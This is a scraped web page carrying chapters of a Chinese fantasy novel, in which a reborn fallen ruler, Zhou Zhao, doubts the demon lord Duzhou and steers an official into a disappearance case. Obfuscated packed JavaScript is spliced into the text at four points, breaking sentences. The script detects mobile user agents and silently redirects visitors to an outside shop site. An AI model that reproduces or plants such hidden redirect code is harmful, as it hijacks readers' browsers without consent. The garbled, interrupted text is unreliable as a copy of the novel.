周昭前世虽然不曾修道,师父江梅棠却是大周乃至整个天下一等一的术士,当年周朝瘟疫横行,是江梅棠指引她带回疟鬼,也是江梅棠消灭了疟虫,让那场瘟疫最终归于平静。 周昭对修道并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那日无相城中渡舟的反常仍历历在目,似乎渡舟对于找到她一片魂魄这件事非常震惊,甚至可以说是看重,就算被刺了那么多刀也毫不在乎。 这就是周昭想不通的地方。 毕竟在周昭的记忆里,她跟萧十六交情并不深。唯一有过的相处,就是那次三苗国抓疟鬼之行,此后萧十六这个名字,再也没有出现在她的生命里。 而很巧的是,从那以后周昭的人生便开始一路走下坡,进入了一种兵荒马乱、目不暇接的癫狂和痛苦中,她也渐渐地淡忘了这个人。 直到再次看见这张和当年几乎没什么不同的脸,周昭才想起来一件事情,一件上辈子竟然被她忽略了的、至关重要的事情: 她那惨得不能再惨的结局,很有可能来自于一个人,不,一个鬼。 那个传说中于无相渊横空出世的鬼王成业,堕神图真正的主人。 无妄海下九道渊,幽囚门吉三千年。血月乍现阴阳裂,未许人间活人现…… 周昭仔细回忆一遍,突然发现,许多被她忽略的细节在此刻完美地串了起来。 譬如那时候萧十六为什么引他们渡过无妄海,为什么海边恰好有一只能用的小船? 为什么萧十六凭空消失而后成业突然出现? 上辈子周昭一想到这里,便忍不住想十六可能遇到了什么意外,然后再也不敢想下去。此刻周昭静下心来,一切仿佛都有了答案。 ——传言鬼王成业被一只大妖斩杀,堕神图改为鬼门关,无相妖主诞生。 长淮说得不错,萧十六确实在利用她。 因为只有毕方神血能打开阴阳裂缝,这件事,周昭上辈子就知道了。 50. 行野 九洲城外五十里,雨丝微润,秋意渐起。 一座破败的庙宇沉默而苍凉地立于雨雾中,那匾额上的字因着这场温润的秋雨不觉褪去几分戾气,但望之仍让人心惊:杀神庙。 庙内无人,亦无神像,供桌上仅有一把石头雕刻的黑色长剑,除此之外空空如也。 那柄剑出鞘半寸,却能窥见利刃锋芒,犹感杀气沉重。细看,剑柄刻着一行小字:行野。 一人没有撑伞,独行至此,先是抬头看看匾额,再踏步入庙,摘下斗笠搁置一旁,露出一张了无生气的脸。 周昭本来没打算跪拜,毕竟自己拜自己这种事实在太奇怪了。但当她看见那柄剑,看到剑鞘上的字,心脏像被钝刀子来回割了几下,双膝缓缓一弯,心道:“霍将军,是我周昭对不住你。生前累你枉死,死后还要你的剑替我端坐供台,背负骂名。” 霍璋是周朝名将,但已过去千年,史料模糊,如今人们并不知道,周昭生命中最后那几年,跟随她来往杀敌的名剑“行野”其实是霍璋的佩剑。 霍璋死后,周昭承了他的剑,那时的周昭怎能算到,世人会用这把行野剑来供起一座讽刺的杀神庙。 “……霍将军,我今日身上没带酒,对不住了。”周昭自言自语,又从背上取下一柄剑,轻轻地置于供台上,轻声道,“这把剑,等我再杀一个人,一个罪人,我便还你,然后亲自到阴间请罪。” 周昭说到这里又自嘲一笑,阴间她去过,鬼门关也见过了,霍璋不在那儿。 她腰背笔直,目光低垂。 这里没有蒲团,跪久了膝盖会很痛,但周昭就像感觉不到,沉默着跪了许久,久到庙外的雨越下越大,周昭都快听不见自己的心跳声,她终于重新拿起那柄剑。 剑刃铮铮出鞘,光芒不减当年。 周昭握剑的手很稳,毕竟她杀过那么多人,但当把剑横于脖颈时,不知是不是剑刃太凉,还是跪得实在太久了,周昭忍不住微微颤抖一下。 “——好大的雨啊!” 有人来。 一个少年冒冒失失闯进来,看也不看便往里冲。 哐当! 周昭被这么一撞,皮肉立刻划开一道细小的口子。 少年才看到庙里跪着个人,还是个手持长剑,脸色雪白的女人,更不必说这人胸前还一片血迹,当即吓得魂飞魄散,哇哇叫道:“鬼啊!!!” 这不是萤木吗? 周昭抬眸,冷声道:“不要叫。” 萤木见“鬼”开口说话,再一看,不是胸前流血的女鬼,而是她脖子划了道不深不浅的口子。萤木惊魂未定,喉咙滚动几下,指着周昭道:“这、这位姐姐,你......你受伤了......” 萤木浑然不知,自己就是害周昭受伤的罪魁祸首,看看周昭,又看看搁在地上的剑,忍不住道:“姐姐......你不会、不会是想自杀吧?” 周昭不予理会,萤木当她默认,继续道:“姐姐,你有什么想不开的事儿要自杀啊?我看你长得这么好看,能有什么烦心事儿呢?难道是你爹娘要把你嫁给恶霸?不会吧......” 周昭眉头微蹙,萤木惊讶道:“我不会真猜中了吧!姐姐,就算是这样也不至于自杀啊,我是衙门里的人,可以帮你做主的。就算我不能帮你,还有陆大人,他很善良的,一定能……” “不要吵。”周昭从前怎么没觉得萤木这么多话。 周昭该死。 不光世人这么认为,周昭自己也这么认为。就算她现在不知道搞什么名堂,又活了过来,周昭还是觉得自己该死。 萤木十分自来熟地在周昭旁边盘腿坐下,看她跪得笔直,问道:“姐姐,你的伤真的不用管吗?” 周昭不答,萤木又道:“姐姐,寻死就寻死,跪杀神干嘛?难不成你心有所求,但是愿望没实现?那你找错地方啦,这是杀神庙,你如果求姻缘,应该去城里的月老庙,那里很灵验的。” “……”周昭深吸一口气,说出第三句话,“安静。” 萤木置若罔闻,继续:“姐姐,我没骗你的。杀神庙你不知道嘛,拜的是周朝那位亡国君周昭,她不管姻缘。不过,她倒是管杀人报仇什么的,你如果有这方面的心愿,拜一拜也无妨。” 周昭忍不住嘲讽道:“世人无知,可见一斑,周昭自己的仇都报不了,能帮你们吗?” 萤木道:“真的!姐姐你别不信,杀神很灵验的。等等,你说周昭的仇?周昭能有什么仇,不都是别人找她报仇吗?当年她通敌卖国,周朝桦城一战惨败,二十万大军全军覆没,梁王得以攻入周朝王庭……” “你说周昭通敌卖国?”周昭侧过脸,目光冰冷,问道,“谁告诉你的?” 萤木茫然道:“史书都这么写啊,人人都知道,姐姐你没听说过吗?” 他像打开了话匣子,眉飞色舞道:“安平六年,周朝与凉州、黎国等国决战桦城,周昭领兵亲征。本来呢,周朝军队是要守在桦城的,周昭却下令横渡汴江突袭敌营。听说那年冬天是个百年难遇的大寒天,汴江水都结了冰,虽然渡江铤而走险,但周昭本就精通纵横布阵之术,又一意孤行,因此无人敢有异议。” “谁知半渡时分,敌军早有埋伏,两岸火炮齐发,江水破冰而出,汹涌澎湃,二十万大军死伤无数。后来才知,是周昭提前将城防图私下给了黎国国主,都说周昭一直痴恋黎国国主,竟舍得拿帐下大军性命去换。”萤木说到此处长叹一声,“……所以我说,都是别人找周昭报仇索命的份儿。” 周昭内心波澜起伏。 桦城之战是她前世最后一场大仗,也是她输得最惨的一次。 那时四方之国群起来攻,屯兵甘南。甘南腹地是打开中原王庭的门户,非同小可。霍璋故去后,周昭不得已挂王旗亲征。虽然战况惨烈,死伤无数,好在十有九胜。她一口气收归甘南十二城,比之故去霍璋更令敌人闻风丧胆。 就在周昭以为可以暂时松口气时,桦城一役却成了她的噩梦。 那是个百年难遇的寒天,鹅毛大雪,呵气成冰。 他们中了敌军埋伏,无数士兵在她面前死去,连茫茫大雪都掩盖不住鲜血的颜色。入目是漫天的红,盔甲冰冷,江水刺骨,一直淹到她的头顶。 太冷了,黏稠的血水糊住了周昭双眼,周昭想哭却流不出眼泪。 副将背着她,托着她,让她踩着江中已经堆积成山的尸骨向上爬。 “......陛下,快跑。” “陛下,快跑啊!” ......< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749946|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “姐姐?你怎么了? 马蹄厮杀声渐歇,周昭打了个寒颤,萤木的声音继续道:“姐姐,你还好吗?” 周昭嗯了一声,手法娴熟地从袖子上撕了条碎布,在脖子上随意包扎几下,提剑起身,往雨幕走去。 身后萤木似乎在叫她,周昭却听不见了。 周昭通敌卖国,周朝二十万大军全军覆灭。 通敌卖国…… 周昭并不觉得有必要为自己辩解,但当年桦城整整二十万英魂,周昭没有脸顶着这样的罪名,去面对那些亡灵。 老天既然要她活,那她活就是了。她还有诸多谜题未解,还有诸多血债没有偿还。 周昭不想回到牵机营,她站在九洲城大街上,漫天大雨,街上并无多少行人。 她背着剑,四顾茫然。 城虽大,却无她容身之所。 潮湿阴冷的雨水在周昭脚下蔓延,那股寒意一直顺着小腿爬上来,真冷啊…… 双膝隐隐作痛,当年那场大雪留下的旧疾又阴魂不散地爬上了她的身体,仿佛时时刻刻在提醒她—— 是你害死了二十万性命。 周昭望向皇城方向,隐隐觉得那里或许有她想要的答案,她不再犹豫,转身往牵机营去了。 周昭洗过澡,又换了身衣服,脖颈处的伤口被水泡的有些发胀。这里原本就有条旧伤,也不知是她故意还是巧合,今日划伤的地方,跟那条旧伤竟然刚好重合。 手指轻轻抚摸过那条疤,却见门外人影微动,周昭没有丝毫犹豫,立刻将今日已经结痂的伤口撕开,恰到好处地叫了声痛。 咚咚! 门被推开一条小小的缝隙,人影低声问道:“怎么了?” “好痛。”周昭又道。 渡舟终于推门进来,快步走到她身边,语调紧张,问道:“哪里痛?”先是看她伤口,随后微微皱眉,手掌轻轻覆住她流血的脖颈。 周昭刚洗过澡,热气氤氲,发丝半干,在这不断升腾的热气里,渡舟的手似乎也微微发烫,他很快撤开手掌,那里不再流血,只剩一条陈年旧疤。 “怎么弄的?”渡舟声音低沉,又抬手弄干了她的头发。 周昭本是坐着,于是微微昂首,望着渡舟,语调天真得恰到好处:“渡舟大人,我见这里有道疤,好奇,不小心撕破了。” 周昭不知道这样说有没有瞒过渡舟,对方站得离她不算远,此刻垂眼看她,目光既没有审视,也没有探究,只是一如既往的平静。 但就是这种平静让周昭呼吸不畅。 从前的萧十六浑身都是刺,高傲,散漫,随心所欲,处处是谜团。接近萧十六,就像一颗石子投入山谷,稍不留神撞击得粉身碎骨。 而眼前的渡舟却不同。 他是一汪漆黑的沼泽,一潭无底的死水。投石其中,毫无波澜,却能悄无声息地吞噬。 在周昭这一口气憋得胸腔险些要炸开时,渡舟终于开口道:“下次注意,别弄伤自己。” 周昭点头应了声好,又问:“奇怪,这里怎么会弄伤呢?” 渡舟道:“……上回在无相城伤到的。” 妖的话,不可信。 这是渡舟原话,现在周昭原分不动地送还给他。 51. 试探 周昭其实在赌,赌渡舟对她尚有利用之意,赌渡舟暂时还没发现她在装,所以不会跟她撕破脸面。 她没有忽略自己刚醒来时说忘记了所有的事情,渡舟那如释重负的神情。既然渡舟想要她忘,她配合便是了。 翌日,在周昭的强烈要求下,渡舟带她去见了瑶姬。 瑶姬见了周昭,神情不可谓不复杂。 毕竟这片残魂是她手中曾经引以为傲的底牌,本想利用周昭牵制渡舟,没想到反而为他人做好嫁衣,阴差阳错,让渡舟融好了周昭的两片魂魄。 瑶姬大势已去,咯咯笑道:“哦,原来是我的鬼将。这么快就有了新主人,可喜可贺。” 瑶姬并不认识我? 周昭略微惊讶,转念一想,既然渡舟肯带她来见瑶姬,说明渡舟并不担心瑶姬会在她面前说漏嘴。 周昭故意装傻,指了指自己,问道:“姐姐,你是在叫我吗?” 瑶姬愣住,转而哈哈大笑道:“竟还是个傻子!可惜了这副好容貌!啊——!” 瑶姬惨叫一声,身上绑着的玄铁链就像活物一般愈缠愈紧,渡舟蹙眉道:“丹妙骗了你,你还打算替他卖命。” “魇鬼虽然狡猾,却没骗我。是他告诉我能用凤尾花钿吸食魂魄,如果你们再晚来半月,等九洲城那些又蠢又爱美的女子,都用上我这花钿,届时我法力大增,还用怕你那破堕神图吗!”瑶姬说到激动处奋力一挣,却被玄铁链狠狠拽倒在地,不禁又发出一声痛苦的尖叫。 渡舟道:“你以为丹妙那么好心?魇鬼唯恐天下不乱,不过是想借你的手,引我去无相城罢了。” 渡舟说得不错,魇鬼如果想要藏匿行踪,完全可以掩去凤尾花钿上自己的鬼气。 周昭仔细想想,那时她和上官确实是因为花钿上残留的魇鬼气息,才一路追查到无相城。 这么简单的道理,瑶姬不会想不明白。她此刻披头散发,实在可怖,气急败坏道:“堂堂无相妖主!你欺负女人,算什么本事!” 周昭想不通的是,魇鬼大费周章将他们引去无相城,到底是为了什么? 瑶姬仍在喋喋不休破口大骂,周昭此刻装疯卖傻,很多话不便问出口。但她想知道的这些问题,渡舟却闭口不提。 一种可能是,在她没有醒的这些天里,渡舟早已经问过千八百回,瑶姬不肯说; 另一种可能是,渡舟已经知道了全部真相,所以没必要再问。 无论哪种可能,对周昭来说都差不了太多。她既没办法直接开口问渡舟,也不能正大光明问瑶姬。 略一思索,便走近问道:“这位姐姐,你也知道魇鬼吗?那你有没有见过县令大人,他被魇鬼附身了,我正在找他。” 什么都不能问,县令总是能问的吧。 果然,瑶姬浑然不觉周昭在套话,看着她道:“我当然知道魇鬼,当初还是他把魂魄交给我。怎么,你很在意魇鬼用的身体?哎哟哟,那可有好戏看啦!我告诉你,魇鬼霸占的那副身体已经快不行啦!瘦得都没人形啦!小妹妹,你要是想快点找到他,就劝劝你家大人放我出去,怎么样?” 魇鬼不能离开贺金牙的身体,自然好吃好喝不会苦了自己,虽然吃的喝的不是什么正经肉就是了,但要说魇鬼这厮能把自己饿瘦,那纯属无稽之谈。 渡舟忍不住提醒道:“别听她胡说。” 周昭此行最大的目的已经达到,但装一装总是要的,她面露不忍,顺着瑶姬的话说道:“渡舟大人,能不能听她的?我想救县令大人。” 周昭演得情真意切。 其实也不能完全算演的,贺金牙是她对九洲城为数不多的两年记忆里,唯一一个可以相信的人。 周昭本来信口胡说,谁知等出了地牢,渡舟竟然语气松动,说道:“你刚才说的,可以考虑。” ……这可不是无相妖主的行事风格。 这下轮到周昭哑口无言,只好假意纠结,硬着头皮继续道:“可是,丹青手放出去再害人怎么办呢?” “自然不会再让她出去害人,不过,如果能用丹青手做诱饵引丹妙出来就好了。可惜……” 当日他们在鬼城费尽辛苦才捉到丹妙,这厮却又趁鬼门关躁动之际跑掉了,果真是个活泥鳅。 渡舟没有说完,但周昭能猜到他想说什么。 可惜—— 他们还不知道丹妙到底在搞什么名堂,为什么会有她的一片魂魄,又为什么借瑶姬之名,引渡舟前去? 表面看丹妙是想用残魂威胁渡舟,做瑶姬背后的提线人,但只要仔细一想,就会发现这逻辑不通。 那日在城郊,丹妙明明怕渡舟怕得要死,如果说瑶姬不清楚渡舟的实力,敢在阎王面前耍大刀,那丹妙可是实实在在领教过渡舟高招的,不太可能愚蠢到仅凭一片残魂就妄图牵制渡舟。 那么只剩下一种可能,丹妙是故意让渡舟找到那片识魂的,但又不愿意暴露自己,才兜了这么大一个圈子将识魂送到渡舟手中。 可这一切到底是为什么呢? 总不能说丹妙脑子一抽铤而走险,妄图颠覆朝廷,要将杀神周昭重回人间? 不过有一点可以肯定,如果以上真是丹妙的意图,那他目的已然达成,瑶姬于他而言再无利用价值,鱼饵一说自然也不成立了。 这就是渡舟口中所说“可惜”二字。 周昭内心烦躁,就像一团搅在一起的乱麻。丹妙跟瑶姬暂且不提,渡舟救她又是什么目的? 毕竟周昭已经没有毕方神血,不再有利用价值。她上辈子错信过很多人,也亲手杀过很多人,死在剑下的亡魂不计其数,后世奉她一句“杀神”毫不为过。 但老天既然让她重活,周昭不会再相信任何一个人了。 “在想什么?” 周昭回过神,“善解人意”道:“啊我在想,县令大人虽然要救,但丹青手也不能就这么放了,九洲城的百姓是无辜的。我相信你,渡舟大人。” 渡舟道:“你相信我?” “是啊,渡舟大人无所不能。”周昭笑得眉眼弯弯,心中却道:我不会信你了,萧十六。 丹青手被抓,九洲城凤尾花钿案告一段落。 这件事开始得快,结束得更快。就像凤尾花钿突然出现在九洲城,没过两天又突然悉数消失了。 九洲城的小姐们不免感叹,再也用不到那么漂亮的凤尾花钿,却不知自己离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754775|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身死魂消只有半步之遥。不过,这只是九洲城百姓生活中一个很小的插曲,日子还要继续过,漂亮花钿总会有。 没人知道这背后有什么人付出了什么代价,寻常百姓并不需要知道这些。 沈云起也已然大好,每每想到自己竟然因为一枚花钿差点儿死了就羞愧不已,一提就会跳脚。 但总有人嘴贱。 比如上官富贵。 上官大人从无相城回来后,闭门不出好些时日。他自觉知道太多秘密不是件好事,每日提心吊胆,终于有一天忍不住出门,想去看哑奴恢复得如何又不敢见渡舟,于是抬脚一转去找沈云起。 一见沈云起,他又免不了旧事重提,便招来一通暴打被赶出国师府。 周昭后来听上官跟她讲这些时,其实内心毫无波澜。她对这些人和事都丝毫不感兴趣,她是另一个时空的人,这里没有她的亲人,没有她的朋友,甚至……没有恨她的仇人。 她强装有趣,点评几句:“上官大人,你还不知道为什么被打吗?你不应该在沈姐姐面前再提凤尾花钿的。” 上官不服:“我明明是关心她啊,就问问她将那东西扔了没,还说如果没有好看的花钿,本大人送她几枚,你说我难道不是好心吗?” 周昭托腮道:“那你送了吗?” 上官茫然道:“没啊。话没说完,被打出来了。” 周昭叹气道:“上官大人真是木头。” 其实对于这张脸,上官心里可谓疑惑重重。 但上官作为暗卫,一贯秉持不该问的绝对不问。对于什么渡舟给她换了张皮这种话,上官反正是不信的,他估计只有沈云起那种笨蛋才会信。 那晚在丹青坊他看得真真切切,那脱画而出的红衣女鬼,分明就是眼前这张脸! 哑奴换了张皮,偏偏就是消失了的红衣女鬼的脸,世间哪有这么凑巧的事儿。 周昭见上官一直盯着自己看,料想对方也不会信渡舟编的谎话,她假意在脸上摸了摸,问道:“怎么了上官大人,我脸上有东西吗?” “没、没有。”上官假意喝了口茶,问道,“对了,听说主君给你起了个新名字,叫什么啊?” 周昭莞尔一笑,一字一顿道:“祝鸢。主君说,叫我祝鸢。” “祝鸢……”上官咂摸道,“名字不错。” “上官大人,这是什么啊?”周昭指着上官手腕,明知故问。 “你问这个啊……”上官露出手腕内侧一个若隐若现的莲花印记,“这是主君赐给我们的,牵机营每个人都有。” “做什么用?” “这个嘛,就是个记号吧。你看,在太阳光底下就消失了。”上官将手腕放在阳光底下,那印记果然变得极浅淡,漫漫消失了。 周昭露出惊讶的表情,抚掌道:“好玩儿!” 真好玩。 上官大人太笨了,怎么会相信做个标记这种鬼话。这种印记,名为“莲花烙”,周昭可再熟悉不过了。 二人说笑间,忽然来了人。暗卫神色匆匆,走到上官跟前,恭敬道:“上官大人,宫里来信,出事了。” “什么事。” “贵妃娘娘失踪了。” 52. 布局 上官反问道:“贵妃失踪,找我们做什么?难道牵机营管天管地,还管后宫吗?” 上官跟着渡舟混久了,说话也一股子大不敬。暗卫面色为难,小声道:“不是寻常失踪案子……” “那也不归我们管!”上官摆手道,“后宫那档子事儿麻烦死了!查来查去到最后,肯定又是女人之间玩儿心眼子,害完这个害那个,我说陛下能不能好好管管了。” 上官一说起来就没完,看来从前确实干过帮小皇帝调停后宫这种事儿,并且留下了极大的心理阴影。暗卫连话也插不上,急得冲周昭使眼色。周昭提醒道:“上官大人,你先听完原委再说不迟。” 暗卫抢道:“主君已经进宫面圣了。” 这话堪比圣旨,上官身子前倾,问道:“主君都进宫了?什么时候的事儿?” “就刚才。高公公来宣的旨,主君走时留下话了,让大人你保护好,保护好……” 暗卫偷摸拿眼睛瞥了眼周昭,实在拿不定主意该怎么称呼这位……周昭帮他接上话,问道:“没有了吗?” 暗卫深呼一口气,感激道:“没了。” 上官瞪大眼睛,道:“不是说贵妃娘娘失踪了?案子呢?原委呢?你一概不知?” 暗卫一拍脑袋:“哦对对对!” 他光顾着看周昭,竟把正经事儿都忘了,忙道:“是这样的,近日城内出现了好几起失踪案子,每个案子间毫无联系,失踪的人也是五花八门,男的女的老的少的,总之各形各色的都有。本来呢,像这种失踪案一律交给衙门管,但近些日子,衙门那位陆大人对外宣称养病,一概不见外客,所以案子直接提到刑部去了。” “刑部本来也不愿意办这种失踪案,大人你也知道,失踪案难查得很……” “说重点。” “哦哦,反正案子到了刑部,刚到一天,贵妃娘娘突然失踪了。这下刑部炸了锅,兵荒马乱,苦不堪言。怪就怪在,听说贵妃娘娘进了寝殿就没再出来过,但活生生一个人,愣是找不到了!” 活人凭空消失,失踪案毫无头绪,刑部没有办法,宫里那位坐不住,这才传渡舟进宫。 周昭听到这里,问道:“最早一人失踪几天了?” 暗卫伸出两根手指一比划,上官惊道:“十天?!” “一共失踪了多少人?” 暗卫道:“不清楚,好像有五六十个。” 人数比周昭想象的还要多……等暗卫离开,周昭问道:“上官大人,你怎么看?” 上官收起那幅嬉皮笑脸,严肃道:“五六十人前后脚失踪,不像人干的事儿。” 周昭点头附和道:“牵机营,办过这类案子吗?” “你说失踪案?”上官想了想,摇头道,“我也不清楚。” 周昭惊讶反问:“你不清楚?” “嗯。牵机营,太大了。”上官认真道,“打个比方,就拿你看到的来说,我跟云起虽同在牵机营做事,但路数完全不同。云起只管治国理政,像抓贪官治水患之类,这是她的事情。而我嘛,抓丹妙这些鬼才是我的事情。至于你说其他的,我也不知道,牵机营里别人都在做什么。” 周昭虽然早就看出,沈云起跟上官二人各有侧重,但却不知除了他们二人,牵机营的力量竟如此之广。 她不禁越来越好奇,渡舟几百年前放着逍遥自在的无相妖主不做,跑来人间建这么一所牵机营,到底是为了什么? 难道就是为了今天这种情况下,帮小皇帝找妃子? “不过既然主君说要我保护好你,就是不想让你我插手,别想这些了。” “......”周昭眸中露出一丝不易察觉的冷淡,“上官大人,你想不想去找陆大人玩儿?” 上官险些一口茶喷出来,眉毛跳了几下:“找他???” 姜宅一事,陆轻苹可谓尽心尽力。 那时周昭亲眼所见,对方一介文弱书生,能跟着她和渡舟在乱葬岗抓妖。因此周昭对这位陆大人并不反感,是个既清廉又刚正不阿,十分有原则的人。 这样的人其实非常好相与,也非常容易利用。 周昭打定主意,反复劝说上官跟她去找陆轻苹。谁知上官打死不干,说什么陆轻苹上次被牵机营牵连官降三级,结下梁子,去了一定会碰钉子。 “好吧,那我只好自己去了。” “小哑......喂!那个谁!” 周昭假装没听见身后上官的跳脚声,一溜烟从牵机营径直跑去衙门。 陆轻苹的府邸很好找,就在衙门不远那条巷子最里头那家。尽管做足了心理准备,周昭在看到那间就差写着“本人家贫,请勿打扰”这样一副招牌的宅子时,还是略微惊讶。 砰砰! 周昭扣响门,无人应。 难道陆轻苹堂堂前任巡抚,在任县令,竟连一个侍从都没有吗? 周昭又扣门,仍是无人应。 吱—— 她试着一推,门开了,没锁。 “陆大人?在家吗?” 周昭向前走了几步,一股混着野草的潮湿气息扑面而来,并不难闻,就是闻着太冷清。伴随这股几乎没什么活人气儿的青草野蛮生长味道,紧随其后的是一阵沉闷的低咳,让人很容易联想到一张久病未愈的脸,和胸腔内短促的呼吸。 周昭循着声音走近,隔着一张干净到令人发指的竹帘,是一个男人清瘦的脸。瘦削,挺拔,带着病容的苍白肤色,紧锁着的眉,以及看见生人闯入时,眼中毫不掩饰的一点儿厌恶和戒备。 短短几个月未见,彼时还算意气风发的陆大人可清瘦不少。 再往前走就是不知礼数了。 周昭在竹帘外站定,拱手拜道:“陆大人。” 陆轻苹掀起眼皮打量,周昭来之前已经乔装打扮一番,此刻站在陆轻苹面前的,不过是个相貌平平的青袍少年。说来周昭从上官那儿确实顺来不少好东西,这易容丹虽不比无相城那时候吃的化鬼丹,只有几个时辰功效,拿来骗骗陆轻苹却足够用了。 陆轻苹淡定从容至极,看她一眼又收回目光,继续翻动手中书卷,低声问道:“……你是何人?” 确实病了。 难道上次被月季花妖咬伤还没好?周昭起身道:“陆大人,我有从牵机营而来的消息,特来告诉大人。” 果然如上官所说,陆轻苹听到“牵机营”三个字,眉头锁得更沉。不过依周昭看来,这位陆大人并不是因为上次姜宅一案,被牵机营连累才这么痛恨,他这种人,清白一身,能看上牵机营这种不黑不白的地方就怪了。 牵机营,说好听是国之利器,说难听就是权臣当道,若我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759115|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当朝天子...... 周昭一阵心惊,悬崖勒马。 恰好此时陆轻苹悠悠开口:“我和牵机营素无来往,也不想攀权附贵,你请回吧。” 意料之中。 “陆大人,您病了几日了?” 陆轻苹面露诧异,仍答道:“……十日左右。” “哦,十日。”周昭抬手数了数,“陆大人可知道,这些日子衙门堆了不少案子。” 陆轻苹道:“病不由我,人之常情。” 周昭道:“大人说得对。但您有所不知,这十日内九洲城发生了一件大案子,近百人平白无故陆续失踪。这些案子有的堆在衙门,有的堆在刑部,全都无人腾出手管理,大人知道这是为什么吗?” 陆轻苹的表情终于起了一丝变化,周昭继续添柴点火:“因为这些失踪的人都无关紧要,他们都是些平民百姓,丢了便丢了。但有一个人万万丢不得,那就是当今天子宠妃——贵妃娘娘。陆大人,我今日来就是想告诉您,牵机营正领命查案,查的就是贵妃娘娘失踪案。我不好说这案子跟另外那近百人的失踪案有什么关联,但在牵机营看来,在圣上看来,只有贵妃娘娘,才是值得牵机营去查的那个案子。” “……至于如今衙门桌上那些堆积成山的失踪案,陆大人可自行看着办。” 周昭一口气说完,点到为止。 她这话三分真心,三分假意,剩下的全靠言语诱骗。陆轻苹不相信牵机营,看不上牵机营,周昭要的就是这份鄙夷和不信任,再加上陆大人那一颗爱民如子的真心,周昭不信陆轻苹还能坐得住。 “……九洲城内有近百人失踪?贵妃娘娘也……” 鱼饵动了。 周昭点头道:“对。” “……牵机营,自刑部接管了贵妃娘娘失踪案?” “没错。” “其余报案公文呢?” 周昭来之前就去衙门看过了,这回不算骗陆轻苹,答道:“一部分在衙门放着,由县丞大人主管。” 要是县丞会办案,周昭还不好来请陆轻苹。关键她跟陆轻苹都心知肚明,那县丞也是新调任来的,比从前经验丰富的贺金牙可差远了,如今县衙就是一个空空荡荡的摆设。 陆轻苹终于站起身,从那竹帘后出来。周昭闻到一阵扑鼻药香,跟这里的潮湿不同,反而十分干爽清冽,竟有几分好闻。 陆轻苹道:“你跟牵机营......什么关系?又为何要来找我?” 周昭道:“陆大人,实不相瞒。我从前受过衙门县令大人恩惠,他待我如兄如父,我却一直没有机会报答。今日偶然路过衙门,见门庭冷落,案卷如山,心中实在不安。我素来不喜牵机营行事作风,听说那主君为人阴晴不定,手段阴毒......" 周昭说到这里,渡舟那张似笑非笑的脸突然在脑海中晃了晃,她定定神,继续道:“案子交到他手中,想必牵机营眼中只有贵妃,没有寻常百姓。我思来想去,斗胆来找大人,还望大人不要见怪。” 周昭言辞恳切,滴水不漏。说完心中如鼓鸣,不知她这番话陆轻苹信了几分。对方沉默良久,久到周昭都以为这人是不是又病过去了,才听见一个声音从青石阶上传来—— “你有这份心,倒十分难得。” 竹帘掀起又落下:“我换身衣服。” 53. 昆仲 周昭跟着陆轻苹往衙门去时,瞥见他身上穿的虽然比刚才那件满是药味的衣服好些,却仍是件朴素到极致的白衣,心道:“当官儿的做到陆轻苹这份儿上,也算头一个了。” 等到了县衙,比周昭前头来时倒热闹许多了——何止是热闹,简直就是沸反盈天——男女老少几十口人,全都拥堵在县衙门口,衙役们站成一道人墙,周昭勉强能隔着窗户看见县丞那顶朝不保夕的乌纱帽,一脸愁眉苦相。 “老爷!我家夫人已经走失五日了!求老爷再派人找找吧!” “还有我!家母三天前出门就再也没回来,先找找我这边吧!” …… 这倒是帮了周昭的忙。 陆轻苹往人群中一站,立刻有衙役认出他来,眉毛一抬,再三确认,随即喜笑颜开,高声叫道:“县令大人来了!” “县令大人!是县令大人来办案了!” “家母有救了!县令大人终于来了!” …… 人群顿时调转方向,将陆轻苹严严实实围困起来,俨然像是见到了活救星。 看来选中的这人声望不错。 周昭早有远见,跟陆轻苹站的相距甚远,先是事不关己看了阵儿所谓官民一家亲的热闹,见陆轻苹面色透红有些招架不住,才慢悠悠地溜进衙门正堂,敲了敲县丞面前的木桌,道:“没看见县令大人都快被百姓挤死了吗?还不让人速去把闲杂人等赶走?” 老县丞眼神不好,耳朵更不好,本来正纳闷那些来闹事儿的百姓怎么退回去了,被周昭这么威严地一敲桌二说话,雪白的胡子跟着抖了抖,问道:“谁?谁在说话?” 他抬头再要发怒,被一个闯进堂来的衙役打断:“大人!是陆大人回来啦!” “陆大人?哪个陆大人?” “还有哪个陆大人!就是咱们新上任的县令,陆轻苹大人呐!” 老县丞终于听见陆轻苹三字,从凳子上颤巍巍站起来,高呼道:“快请!请陆大人上坐!” 